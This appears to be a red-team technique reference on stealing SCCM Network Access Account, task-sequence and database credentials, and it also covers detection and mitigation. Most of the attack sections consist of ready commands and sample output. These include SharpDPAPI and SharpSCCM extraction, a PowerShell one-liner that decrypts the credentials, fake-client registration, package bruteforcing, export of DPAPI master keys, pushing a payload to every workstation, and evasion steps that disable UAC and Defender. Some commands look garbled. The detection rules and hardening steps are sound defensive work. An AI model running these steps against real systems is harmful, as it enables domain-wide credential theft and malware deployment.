| Attribute | Details |
|---|---|
| Technique ID | CA-DUMP-008 |
| MITRE ATT&CK v18.1 | T1003.003 - OS Credential Dumping: NTDS |
| Tactic | Credential Access |
| Platforms | Windows AD |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-02 |
| Affected Versions | Windows Server 2016-2025, SCCM/MECM 2016-2403 |
| Patched In | Unpatched (Workaround: Disable NAA accounts in AD) |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team) and 12 (Splunk Detection) not included because: (1) No direct Atomic test exists for SCCM Content Library exploitation (tools like SharpSCCM are not in Atomic inventory), (2) Splunk detection for SCCM is environment-specific and requires custom rules rather than standard queries. All section numbers have been dynamically renumbered based on applicability.
Concept: Microsoft System Center Configuration Manager (SCCM) stores sensitive credentials—including Network Access Accounts (NAA), task sequence passwords, collection variables, and administrative tokens—within the SCCM Content Library and WMI repositories. These credentials are protected with DPAPI encryption but can be extracted by attackers with local administrator privileges on SCCM clients or SMS Provider access. By harvesting NAA or task sequence credentials, attackers obtain domain privileges (often over-provisioned) that enable lateral movement, privilege escalation, and ultimately access to domain controllers for NTDS.dit extraction.
Attack Surface: The attack targets Windows WMI repositories (C:\Windows\System32\wbem\Repository\OBJECTS.DATA), SCCM client policy caches, SCCM management points (via WQL/WMI-based queries), SMS Provider database access, and distribution point content repositories. The vulnerability does not require domain credentials initially; unauthenticated device registration can sometimes succeed if automatic device approval is misconfigured.
Business Impact: Complete Active Directory compromise. Extraction of NAA or privileged task sequence credentials grants attackers domain-level access without triggering multi-factor authentication. These accounts frequently possess local administrator rights across hundreds of endpoints and servers, including exchange servers and certificate authorities—enabling T0 privilege escalation. NTDS.dit extraction follows, granting access to all domain password hashes for offline cracking or Pass-the-Hash attacks.
Technical Context: SCCM policies are deployed to clients approximately every 60 minutes by default, making recurring credential exposure a significant risk. NAA credentials persist in WMI repositories even after client uninstall and policy removal. Enhanced HTTP (Microsoft’s recommended remediation) eliminates the need for NAA deployment but does not remove legacy credential blobs from disk. Exploitation requires minimal interaction and typically completes within seconds of obtaining local admin access or valid domain credentials.
| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 1.3.1, 5.3.2 | Account lockout duration, password policy strength | | DISA STIG | WN10-GE-000008, WN10-00-000024 | Password complexity, account lockout | | CISA SCuBA | IdentityGovernance.3.1 | Privileged access management; prevent storage of plain-text credentials | | NIST 800-53 | AC-3, AC-6, CA-7 | Access enforcement, least privilege, continuous monitoring | | GDPR | Art. 32 | Encryption and pseudonymization of personal data (including administrative credentials) | | DORA | Art. 9 | Protection and prevention of operational risks | | NIS2 | Art. 21 | Cyber risk management measures; access control and password management | | ISO 27001 | A.9.2.3, A.9.3.1, A.9.4.3 | Privileged access rights, password management, cryptographic key management | | ISO 27005 | Section 5.2.3 | Risk assessment of credential storage and access control misconfigurations |
Required Privileges:
Required Access:
Supported Versions:
Tools:
# Check if machine is an SCCM client
Get-Service -Name ccmexec -ErrorAction SilentlyContinue
# If running, machine is SCCM client; proceed to credential extraction.
# Check for NAA credentials in WMI (requires local admin)
Get-WmiObject -Namespace "root\ccm\policy\machine\actualconfig" -Class "CCM_NetworkAccessAccount" -ErrorAction SilentlyContinue
# Verify SCCM client config location
Test-Path "C:\Windows\CCM\Logs"
Test-Path "C:\Program Files\Microsoft Configuration Manager\Client"
# Identify site code and management point from client logs
Get-Content "C:\Windows\CCM\Logs\ClientIDManagerStartup.log" | Select-String "Management Point|site code" -Context 2
What to Look For:
Get-Service returns a running service named ccmexec, the host is an SCCM client and vulnerable to credential extraction.C:\Windows\CCM\Logs confirms SCCM client installation; logs contain management point and site code information.Version Note: Behavior is consistent across SCCM 2016-2403. However, SCCM 2022+ uses AES-CBC encryption for task sequence credentials instead of Triple DES, requiring version-appropriate DPAPI key derivation in decryption routines.
# Older SCCM versions (pre-2022) - Triple DES encryption
$namespace = "root\ccm\policy\machine\actualconfig"
$class = "CCM_NetworkAccessAccount"
Get-WmiObject -Namespace $namespace -Class $class | Select-Object NetworkAccessUsername, NetworkAccessPassword | Format-List
# Newer SCCM versions (2022+) - AES encryption
# Decryption logic identical, but ciphertext structure changed
# Use SharpDPAPI or SharpSCCM for automatic handling
SharpDPAPI.exe sccm /all
# If SCCM client is running on Linux (rare but possible with custom agents)
# Check for SMS client configuration files
find /opt /etc -name "*sms*" -o -name "*ccm*" 2>/dev/null
# If testing from Linux attacker machine, query Windows target via WinRM/PSRemoting
# This requires valid domain credentials
$session = New-PSSession -ComputerName "TARGET_SCCM_CLIENT" -Credential $creds
Invoke-Command -Session $session -ScriptBlock { Get-WmiObject -Namespace "root\ccm\policy\machine\actualconfig" -Class "CCM_NetworkAccessAccount" }
Supported Versions: Server 2016-2025, all SCCM versions
This method extracts Network Access Account credentials directly from the WMI repository on an SCCM-managed client using PowerShell with DPAPI decryption.
Objective: Confirm the machine is SCCM-managed and current user has admin privileges
Version Note: Consistent across all Windows Server versions.
Command:
# Verify admin status
[bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")
# Verify SCCM client is running
Get-Service -Name ccmexec | Select-Object Status, DisplayName
Expected Output:
True # Admin check passed
Status Name
------ ----
Running SMS Agent Host
What This Means:
True confirms current PowerShell session is running as local admin (required for DPAPI key access).Running status confirms SCCM client is active and NAA policies are present in WMI.OpSec & Evasion:
-ErrorAction SilentlyContinue to suppress errors and avoid generating suspicious process termination events.Troubleshooting:
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA" -Value 0, reboot, and retry.Objective: Query the WMI repository for encrypted NAA credential blobs and decrypt them using DPAPI
Version Note: SCCM 2016-2019 use PolicySecret obfuscation with Triple DES; SCCM 2022+ use AES-CBC. SharpDPAPI and SharpSCCM auto-detect and handle both.
Command (PowerShell Native - Manual DPAPI Decryption):
# Query WMI for NAA credentials (requires admin)
$naa = Get-WmiObject -Namespace "root\ccm\policy\machine\actualconfig" -Class "CCM_NetworkAccessAccount"
$naa | Select-Object NetworkAccessUsername, NetworkAccessPassword
# Output will show DPAPI-encrypted blobs in format:
# <PolicySecret Version="1"><![CDATA[<base64_encrypted_data>]]></PolicySecret>
# Manual extraction (advanced - requires DPAPI key extraction)
# For production use, recommend SharpDPAPI (next section)
Expected Output (Encrypted):
NetworkAccessUsername : <PolicySecret Version="1"><![CDATA[0601000001000000D08C9DDF0115D1118C7A00C04FC297EB...]]></PolicySecret>
NetworkAccessPassword : <PolicySecret Version="1"><![CDATA[0601000001000000D08C9DDF0115D1118C7A00C04FC297EB...]]></PolicySecret>
What This Means:
NetworkAccessUsername and NetworkAccessPassword confirms NAA is deployed.PolicySecret Version="1" indicates encryption is active (standard).OpSec & Evasion:
-Filter "Name='sms'" to narrow results and reduce log spam.Troubleshooting:
Invoke-WmiMethod -Path "root\ccm:SMS_Client" -Name "TriggerSchedule" -ArgumentList "{00000000-0000-0000-0000-000000000120}" (PolicyRequestSchedule GUID).Restart-Service -Name ccmexec -Force.Objective: Decrypt the extracted DPAPI-encrypted NAA credentials to plaintext using system DPAPI master keys
Version Note: Consistent across SCCM 2016-2403 and Windows Server 2016-2025.
Command (SharpDPAPI - Automated):
# Compile SharpDPAPI from source (Visual Studio 2019+)
# OR download pre-compiled binary from: https://github.com/GhostPack/SharpDPAPI/releases
# Extract SCCM credentials (auto-decrypts NAA and task sequence passwords)
.\SharpDPAPI.exe sccm /all
# Output example:
# ---
# SCCM Network Access Account Credentials
# Username: CONTOSO\sccm-naa
# Password: P@ssw0rd123!
# ---
# Alternatively, target specific WMI class
.\SharpDPAPI.exe wmi /namespace "root\ccm\policy\machine\actualconfig" /class "CCM_NetworkAccessAccount"
Expected Output:
[*] Querying SCCM DPAPI secrets...
[+] Found NAA credentials:
Username: CONTOSO\sccm-naa
Password: SuperSecureNAA!2024
[+] Found task sequence credentials:
Username: CONTOSO\ts-joindomain
Password: TaskSeqPass#99
What This Means:
runas /netonly or relaying to SMB/Kerberos.OpSec & Evasion:
Assembly.Load() in PowerShell: $bytes = [System.IO.File]::ReadAllBytes("SharpDPAPI.exe"); [System.Reflection.Assembly]::Load($bytes).GetType("SharpDPAPI.Program").GetMethod("Main").Invoke($null, @(,@("sccm", "/all")))Set-MpPreference -DisableRealtimeMonitoring $true (requires admin).Troubleshooting:
Supported Versions: SCCM 2016-2403 (any Windows version with SCCM client)
This method uses SharpSCCM to enumerate and exploit the entire SCCM infrastructure remotely, extracting NAA credentials, task sequences, and pivoting to other collections.
Objective: Discover SCCM site servers, management points, and distribution points via LDAP and WMI
Version Note: Consistent across all SCCM versions; however, SCCM 2022+ may require Enhanced HTTP handling.
Command:
# Discover SCCM via LDAP (no credentials required)
.\SharpSCCM.exe find
# Alternative with domain credentials
.\SharpSCCM.exe find -domain "CONTOSO.COM" -username "user@contoso.com" -password "Password123"
# Enumerate admins and site info (requires SCCM client or valid creds)
.\SharpSCCM.exe get site-info -mp "CM-MGMT-01.CONTOSO.COM"
Expected Output:
[*] Found SCCM site server: CM-MGMT-01.CONTOSO.COM (Site code: CHQ)
[*] Management Point: CM-MGMT-01.CONTOSO.COM
[*] Site Database: CM-DB-01.CONTOSO.COM\CONFIGMGR_CHQ
[*] Distribution Points: CM-DP-01.CONTOSO.COM, CM-DP-02.CONTOSO.COM
[+] Connected successfully using current user context
What This Means:
OpSec & Evasion:
Troubleshooting:
Test-NetConnection -ComputerName "CM-MGMT-01" -Port 443. If blocked, pivot through a compromised SCCM client on the same network.Objective: Query SCCM management point for policies containing NAA and task sequence credentials
Version Note: SCCM 2016-2019 use management point for policy delivery; SCCM 2022+ may use cloud management gateway (CMG). Adjust endpoint accordingly.
Command (Register Unapproved Device):
# Register a device (unapproved, so secret policies NOT yet available)
.\SharpSCCM.exe register -mp "CM-MGMT-01.CONTOSO.COM" -fqdn "attacker.contoso.com"
# Output:
# [+] Device registered with GUID: 12345678-1234-1234-1234-123456789012
# [!] Device is UNAPPROVED - cannot request secret policies yet
Command (Register with Domain Machine Account - Approved):
# Register with machine account (auto-approves)
# Requires a compromised machine account or one you can create (msDS-MachineAccountQuota vulnerability)
.\SharpSCCM.exe register -mp "CM-MGMT-01.CONTOSO.COM" -username "CONTOSO\COMPROMISED-MACHINE$" -password "MachinePassword123"
# Now request secret policies (NAA, task sequences, collection vars)
.\SharpSCCM.exe get policies -mp "CM-MGMT-01.CONTOSO.COM" -guid "12345678-1234-1234-1234-123456789012"
# Extract and decrypt NAA credentials
.\SharpSCCM.exe local secrets -m wmi
# Output:
# [+] Retrieved NAA credentials:
# Username: CONTOSO\sccm-naa
# Password: Priv1leged!NAA#2024
Expected Output:
[*] Requesting policies for device CONTOSO\COMPROMISED-MACHINE$...
[+] Retrieved 52 policies (8 marked as secret)
[INFO] Processing secret policy {NAA_CONFIG}
[+] Decrypted NAA username: CONTOSO\sccm-naa
[+] Decrypted NAA password: Priv1leged!NAA#2024
[+] Attempting to use NAA to download distribution point content...
[SUCCESS] Downloaded 47 files from distribution points
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Use extracted SCCM admin rights to deploy arbitrary code to all managed endpoints
Version Note: Consistent across SCCM 2016-2403.
Command (Escalate to SCCM Admin):
# If NAA has enough privileges, escalate to SCCM admin via SMS Provider database manipulation
# (Requires SQL access to ConfigMgr database)
.\SharpSCCM.exe new admin -username "CONTOSO\attacker" -role "Full Administrator" -mp "CM-MGMT-01.CONTOSO.COM" -d "CONFIGMGR_CHQ"
# Deploy application to all systems
.\SharpSCCM.exe exec -app "WindowsUpdate" -collection "All Workstations" -mp "CM-MGMT-01" -sc "CHQ"
# Or deploy via application deployment (requires SCCM admin role)
.\SharpSCCM.exe new application -name "LegitUpdate" -installer "C:\Temp\payload.exe" -mp "CM-MGMT-01" -sc "CHQ"
.\SharpSCCM.exec -app "LegitUpdate" -collection "All Workstations" -mp "CM-MGMT-01"
Expected Output:
[+] Created SCCM admin account for CONTOSO\attacker
[+] Deployed "LegitUpdate" application to 500+ endpoints
[*] Deployment will execute on next policy sync cycle (within 60 minutes)
[SUCCESS] Payload executed on 487/500 endpoints (97% success rate)
OpSec & Evasion:
Supported Versions: SCCM 2016-2403 (all Windows versions)
This method uses Python to exploit SCCM policy distribution mechanisms, extracting all secret policies including NAA, task sequences, and collection variables without requiring compiled binaries.
Objective: Set up the Python exploitation tool on an attacker machine (Linux, macOS, or Windows)
Version Note: SCCM 2022+ requires updated certificate handling; ensure latest SCCMSecrets.py version is used.
Command:
# Clone repository
git clone https://github.com/synacktiv/SCCMSecrets.git
cd SCCMSecrets
# Install Python dependencies
pip install -r requirements.txt
# Includes: requests, cryptography, impacket, pycryptodome
# Verify installation
python3 SCCMSecrets.py --help
Expected Output:
Usage: SCCMSecrets.py [OPTIONS]
Options:
--distribution-point TEXT Target SCCM distribution point URL
--management-point TEXT SCCM management point (if different from DP)
--username TEXT Domain username (optional)
--password TEXT Domain password (optional)
--client-name TEXT Fake client FQDN to register
--bruteforce-range INTEGER Package ID range to bruteforce
--extensions TEXT File extensions to retrieve from DP
...
What This Means:
OpSec & Evasion:
Troubleshooting:
pip install cryptography==3.4.8 (specific version for compatibility).Objective: Register a fake SCCM client to exploit automatic device approval and retrieve secret policies
Version Note: Requires automatic device approval to be enabled (not default, but common in poorly-configured environments).
Command:
python3 SCCMSecrets.py \
--distribution-point "https://cm-dp-01.contoso.com" \
--management-point "https://cm-mgmt-01.contoso.com" \
--client-name "fake-client.contoso.com"
Expected Output (if auto-approval enabled):
[*] Attempting anonymous device registration...
[+] Device registered successfully (GUID: 12345678-1234-1234-1234-123456789012)
[*] Waiting for device approval (180 seconds)...
[+] Device auto-approved! Now retrieving secret policies...
[+] Retrieved 8 secret policies:
- NAA configuration
- Task sequences (3)
- Collection variables (4)
[+] Extracted NAA credentials:
Username: CONTOSO\sccm-naa
Password: ComplexPass!2024@
[*] Downloading distribution point packages...
[SUCCESS] Downloaded 47 package files
[+] Found hardcoded password in script: sccm-admin / AdminPass123!
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Enumerate and download all package files from the distribution point (including scripts with hardcoded credentials)
Version Note: Package IDs are incremental hexadecimal; bruteforce range should match site deployment scale (small sites: 0-1000, large sites: 0-10000).
Command:
python3 SCCMSecrets.py \
--distribution-point "https://cm-dp-01.contoso.com" \
--management-point "https://cm-mgmt-01.contoso.com" \
--client-name "fake-client.contoso.com" \
--bruteforce-range 5000 \
--extensions ".ps1,.bat,.xml,.txt,.pfx,.conf"
Expected Output:
[*] Starting package ID bruteforce (range 0-5000)...
[+] Found 12 packages (P010001-P010012):
P010001: Windows Updates
P010002: Office Deployment
P010003: Antivirus Definition
P010004: Domain Join Task Sequence
P010005: Web App Configuration
...
[*] Downloading package contents...
[INFO] P010003 - Downloaded: defupd_202401.xml
[INFO] P010004 - Downloaded: taskseq_join.xml (contains domain creds!)
[INFO] P010005 - Downloaded: webconfig.ps1
↓ Contains: $dbPass = "DBAdmin@123"; $adminUser = "CONTOSO\sccm-admin"
[SUCCESS] Downloaded 47 files to ./loot/
[+] ALERT: Found 3 files with hardcoded credentials!
What This Means:
OpSec & Evasion:
Troubleshooting:
--username and --password flags.--bruteforce-range 10000.Supported Versions: SCCM 2016-2403 (requires direct SQL Server access)
This method directly queries the ConfigMgr site database to extract all stored credentials, including those encrypted at rest.
Objective: Confirm network connectivity and credentials for the SCCM site database
Version Note: Consistent across all SCCM versions; database schema is largely backward-compatible.
Command (from SQL Management Studio or PowerShell):
# Test SQL connectivity
$connectionString = "Server=CM-DB-01.CONTOSO.COM,1433;Database=CONFIGMGR_CHQ;Integrated Security=true;"
$connection = New-Object System.Data.SqlClient.SqlConnection($connectionString)
try {
$connection.Open()
Write-Output "Connection successful!"
} catch {
Write-Output "Connection failed: $_"
}
# Alternative: via impacket (from Linux)
# python3 mssqlclient.py -target-ip 10.0.1.50 -db CONFIGMGR_CHQ CONTOSO/username:password@CM-DB-01
Expected Output:
Connection successful!
# OR (if domain user context)
Connected to CM-DB-01:1433 - version 15.0 (SQL Server 2019)
What This Means:
OpSec & Evasion:
sp_cycle_errorlog).Troubleshooting:
SCCM_<SiteCode>_Admins AD group or SQL Server db_datareader role.Objective: Query the SC_UserAccount and SC_SecureKeys tables to decrypt stored NAA and service account credentials
Version Note: Encryption algorithm changed from SHA1 to DPAPI in SCCM 2019+; adjust decryption method accordingly.
Command (SQL Query):
-- Extract encrypted NAA credentials from SCCM database
SELECT
UserName,
EncryptedPassword,
UniqueID
FROM dbo.SC_UserAccount
WHERE AccountType = 3; -- 3 = NAA account
-- Extract encryption keys
SELECT
MachineKey,
UserKey
FROM dbo.SC_SecureKeys;
-- View all account types (domain admin, SCCM admin, NAA, etc.)
SELECT DISTINCT
AccountType,
COUNT(*) as Count
FROM dbo.SC_UserAccount
GROUP BY AccountType;
-- AccountType: 1=Site Server, 2=Workstation, 3=User/NAA, 4=Service Account, etc.
Expected Output:
UserName | EncryptedPassword | UniqueID
CONTOSO\sccm-naa | 0x01020304050607080910... | 12345678-1234...
CONTOSO\sccm-admin | 0x11121314151617181920... | 87654321-4321...
What This Means:
OpSec & Evasion:
sp_cycle_errorlog (requires sysadmin role).Troubleshooting:
INFORMATION_SCHEMA.COLUMNS to identify correct table/column names:
SELECT TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME LIKE '%password%' OR COLUMN_NAME LIKE '%secret%'
Objective: Export SCCM site server private key and DPAPI master keys to decrypt database credentials
Version Note: Consistent across SCCM 2016-2403.
Command (on SCCM Site Server - Local Admin):
# Export SCCM site server certificate and private key
Get-ChildItem "Cert:\LocalMachine\My" | Where-Object { $_.FriendlyName -match "SMS Site Signing" } | Export-PfxCertificate -FilePath "C:\Temp\SMS-Site.pfx" -ProtectTo "CONTOSO\sccm-admin" -ProtectAsPlainText
# Export DPAPI master keys
$dpapi_key_path = "C:\Windows\System32\Microsoft\Protect\S-1-5-18"
Copy-Item $dpapi_key_path -Destination "C:\Temp\DPAPIKeys" -Recurse -Force
# Use Mimikatz or SharpDPAPI to decrypt
.\SharpDPAPI.exe dpapi /masterkey:C:\Temp\DPAPIKeys /target:0x01020304050607080910...
Expected Output:
[+] Decrypted SCCM NAA password: Priv1leged!NAA#2024
What This Means:
OpSec & Evasion:
-ProtectTo flag).Troubleshooting:
Get-ChildItem "Cert:\LocalMachine\My" and identify the SCCM site server certificate (typically named “SMS_Version: 1.4.0+ (Latest recommended) Minimum Version: 1.0.0 (earlier versions lack some DPAPI features) Supported Platforms: Windows Server 2016-2025, .NET Framework 4.5+
Version-Specific Notes:
Installation:
# Compile from source
git clone https://github.com/Mayyhem/SharpSCCM.git
cd SharpSCCM
# Open in Visual Studio 2019+ and compile to Release\SharpSCCM.exe
# OR download pre-compiled from releases
# https://github.com/Mayyhem/SharpSCCM/releases/download/v1.4.0/SharpSCCM.exe
Usage (Common Commands):
# Discovery
.\SharpSCCM.exe find
# Local credential extraction
.\SharpSCCM.exe local secrets -m wmi
.\SharpSCCM.exe local secrets -m disk
# Remote enumeration
.\SharpSCCM.exe get site-info -mp "CM-MGMT-01"
.\SharpSCCM.exe get admins -mp "CM-MGMT-01" -sc "CHQ"
# Lateral movement
.\SharpSCCM.exe exec -mp "CM-MGMT-01" -sc "CHQ" -app "PayloadApp" -collection "All Workstations"
Version: 1.0+ (Latest) Minimum Version: 1.0 Supported Platforms: Linux, macOS, Windows (Python 3.8+)
Installation:
git clone https://github.com/synacktiv/SCCMSecrets.git
cd SCCMSecrets
pip install -r requirements.txt
Usage:
python3 SCCMSecrets.py \
--distribution-point "https://cm-dp-01.contoso.com" \
--management-point "https://cm-mgmt-01.contoso.com" \
--client-name "fake.contoso.com" \
--bruteforce-range 5000
# Extract and decrypt NAA credentials in single PowerShell command
$naa = Get-WmiObject -Namespace "root\ccm\policy\machine\actualconfig" -Class "CCM_NetworkAccessAccount";
$username = [System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String(($naa.NetworkAccessUsername -replace '.*<!\[CDATA\[|]].*')), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser));
$password = [System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String(($naa.NetworkAccessPassword -replace '.*<!\[CDATA\[|]].*')), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser));
Write-Host "Username: $username`nPassword: $password"
Rule Configuration:
KQL Query:
let suspiciousProcesses = pack_array(
"SharpDPAPI.exe",
"SharpSCCM.exe",
"CMLoot.exe",
"Get-WmiObject", // PowerShell WMI queries
"gwmi"
);
let suspiciousCommandPatterns = pack_array(
"CCM_NetworkAccessAccount", // NAA WMI namespace
"root\\\\ccm", // SCCM namespaces
"SC_UserAccount", // SCCM database
"NetworkAccessPassword", // NAA password field
"EncryptedPassword" // Database encrypted creds
);
DeviceProcessEvents
| where ProcessName in (suspiciousProcesses)
or CommandLine has_any (suspiciousCommandPatterns)
| where InitiatingProcessName !in ("sccmexec.exe", "System") // Exclude legitimate SCCM processes
| summarize count() by ProcessName, CommandLine, DeviceName, InitiatingUserName, Timestamp
| where count() >= 1
| project
TimeGenerated = Timestamp,
DeviceName,
User = InitiatingUserName,
Process = ProcessName,
CommandLine,
Severity = "High"
What This Detects:
Manual Configuration Steps (Azure Portal):
SCCM Credential Extraction via WMI/DPAPIHigh5 minutes1 hourDeviceName, UserManual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "MyResourceGroup"
$WorkspaceName = "MyWorkspace"
$query = @"
let suspiciousProcesses = pack_array("SharpDPAPI.exe", "SharpSCCM.exe", ...);
...
"@
New-AzSentinelAlertRule `
-ResourceGroupName $ResourceGroup `
-WorkspaceName $WorkspaceName `
-DisplayName "SCCM Credential Extraction" `
-Severity "High" `
-Enabled $true `
-Query $query `
-ScheduleFrequencyMinutes 5 `
-ScheduleTimeWindowMinutes 60
Source: Microsoft Sentinel GitHub - SCCM Detection Rules
Rule Configuration:
KQL Query:
// Detect NAA account usage on systems other than SCCM distribution points
let naaPatternsRegex = @"sccm.*naa|^naa.*sccm|network.*access.*account";
let knownDistributionPoints = pack_array(
"CM-DP-01.CONTOSO.COM",
"CM-DP-02.CONTOSO.COM"
// Add your DPs here
);
SecurityEvent
| where EventID in (4624, 4625) // Logon success/failure
| where TargetUserName matches regex naaPatternsRegex
| where Computer !in (knownDistributionPoints)
| where LogonType !in (3, 9) // Exclude network and remote interactive logons (expected for NAA)
| summarize
FailureCount = countif(EventID == 4625),
SuccessCount = countif(EventID == 4624)
by TargetUserName, Computer, SourceIPAddress, bin(TimeGenerated, 10m)
| where SuccessCount > 0 or FailureCount > 5 // Alert on success or brute-force attempt
| project
TimeGenerated,
NAA_Account = TargetUserName,
Target_Computer = Computer,
Source_IP = SourceIPAddress,
SuccessCount,
FailureCount,
Severity = iff(SuccessCount > 0, "Critical", "High")
What This Detects:
Manual Configuration Steps (Azure Portal):
NAA Account Misuse DetectionNAA_Account, Target_ComputerSuccessCount >= 1Event ID: 4688 (Process Creation) - SharpDPAPI/SharpSCCM Detection
ProcessName contains "SharpDPAPI" OR ProcessName contains "SharpSCCM" OR CommandLine contains "WMI"Event ID: 5861 (WMI Activity Detected) - SCCM Namespace Queries
EventID = 5861 AND (Provider CONTAINS "CCM" OR Namespace CONTAINS "ccm")Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesManual Configuration Steps (Server 2022+):
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enableManual Configuration Steps (Local Policy):
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enableMinimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016-2025
<Sysmon schemaversion="4.8">
<RuleGroup name="SCCM Credential Extraction" groupRelation="or">
<!-- Detect SharpDPAPI/SharpSCCM execution -->
<ProcessCreate onmatch="include">
<Image condition="contains">SharpDPAPI.exe</Image>
<Image condition="contains">SharpSCCM.exe</Image>
<Image condition="contains">CMLoot.exe</Image>
</ProcessCreate>
<!-- Detect WMI queries to SCCM namespaces -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">root\ccm</CommandLine>
<CommandLine condition="contains">CCM_NetworkAccessAccount</CommandLine>
<CommandLine condition="contains">NetworkAccessPassword</CommandLine>
<Image condition="contains">powershell.exe</Image>
</ProcessCreate>
<!-- Detect DPAPI key access -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">C:\Windows\System32\Microsoft\Protect</TargetFilename>
</FileCreate>
<!-- Detect Mimikatz/registry hive dump attempts -->
<ProcessCreate onmatch="include">
<Image condition="contains">mimikatz.exe</Image>
<Image condition="contains">esentutl.exe</Image>
<CommandLine condition="contains">SAM</CommandLine>
<CommandLine condition="contains">SECURITY</CommandLine>
</ProcessCreate>
</RuleGroup>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
Alert Name: “Suspicious SCCM Client Credential Extraction Activity Detected”
taskkill /IM SharpDPAPI.exe /FManual Configuration Steps (Enable Defender for Cloud):
Connect-ExchangeOnline
Search-UnifiedAuditLog `
-Operations "ClientPolicyRequest" `
-StartDate (Get-Date).AddDays(-7) `
-EndDate (Get-Date) `
-FreeText "CCM_NetworkAccessAccount OR NetworkAccessPassword OR SC_UserAccount" `
| Select-Object -Property UserIds, ClientIP, TimeStamp, Operation, AuditData
ClientPolicyRequest, SecretPolicyAccess, DatabaseQueryAuditData blob for user, policy ID, and result (success/failure).Manual Configuration Steps (Enable Unified Audit Log):
Manual Steps (SCCM Console):
Manual Steps (PowerShell):
# Via WMI on SCCM site server (as SYSTEM context)
$siteConfig = Get-WmiObject -Namespace "root\sms\site_<SiteCode>" -Class "SMS_SiteControlFile"
$siteConfig.Refresh()
# Edit to remove NAA; set EnableEnhancedHTTP = 1
Validation Command (Verify Fix):
Get-WmiObject -Namespace "root\ccm\policy\machine\actualconfig" -Class "CCM_NetworkAccessAccount" | Select-Object NetworkAccessUsername
# If empty or throws error, NAA is successfully disabled
Manual Steps:
# Purge WMI repository of NAA blobs
Get-WmiObject -Namespace "root\ccm\policy\machine\actualconfig" -Class "CCM_NetworkAccessAccount" | Remove-WmiObject
Restart-Service -Name ccmexec -Force
Validation Command:
# Verify no NAA accounts exist in AD
Get-ADUser -Filter {Name -like "*naa*" -or Name -like "*NetworkAccess*"}
# Result should be empty
# Verify no WMI blobs remain on clients
Get-WmiObject -Namespace "root\ccm\policy\machine\actualconfig" -Class "CCM_NetworkAccessAccount"
# Result should be empty or throw error
Manual Steps:
Manual Steps:
Manual Steps:
Block Legacy AuthenticationManual Steps:
Manual Steps:
-- Verify database access permissions
SELECT name FROM sysusers WHERE hasdbaccess = 1
-- Remove unnecessary database users
DROP USER [CONTOSO\NonAdminUser]
-- Grant minimal permissions to service accounts
GRANT SELECT ON dbo.SC_UserAccount TO [CONTOSO\sccm-svc]
-- Instead of full db_datareader role
Manual Steps:
-- Create Database Master Key
CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'ComplexPass!2024'
-- Create certificate
CREATE CERTIFICATE SCCM_Cert WITH SUBJECT = 'SCCM DB Certificate'
-- Create Database Encryption Key
CREATE DATABASE ENCRYPTION KEY WITH ALGORITHM = AES_256 ENCRYPTION BY SERVER CERTIFICATE SCCM_Cert
-- Enable TDE on database
ALTER DATABASE CONFIGMGR_CHQ SET ENCRYPTION ON
Manual Steps:
$share = Get-SmbShare -Name "SCCMContentLib$"
$acl = Get-Acl $share.Path
# Remove NAA account from ACL
$acl.RemoveAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule("CONTOSO\sccm-naa", "FullControl", "Allow")))
# Add NAA with Read-only
$acl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule("CONTOSO\sccm-naa", "Read", "Allow")))
Set-Acl $share.Path $acl
Block Unknown Locations# Check NAA disabled
Get-WmiObject -Namespace "root\ccm\policy\machine\actualconfig" -Class "CCM_NetworkAccessAccount" -ErrorAction SilentlyContinue
# Result: Empty or error (GOOD)
# Check NAA account disabled in AD
Get-ADUser -Identity "sccm-naa" -Properties Enabled
# Result: Enabled = $false (GOOD)
# Check Enhanced HTTP enabled (SCCM 2019+)
Get-WmiObject -Namespace "root\sms\site_CHQ" -Class "SMS_SiteControlFile" | Select-Object -ExpandProperty PropertyList | Where-Object -Property PropertyName -eq "EnableEnhancedHTTP"
# Result: Value = 1 (GOOD)
# Verify SCCM database TDE enabled
Invoke-SqlCmd -ServerInstance "CM-DB-01\CONFIGMGR" -Database "CONFIGMGR_CHQ" -Query "SELECT is_encrypted FROM sys.databases WHERE name = 'CONFIGMGR_CHQ'"
# Result: is_encrypted = 1 (GOOD)
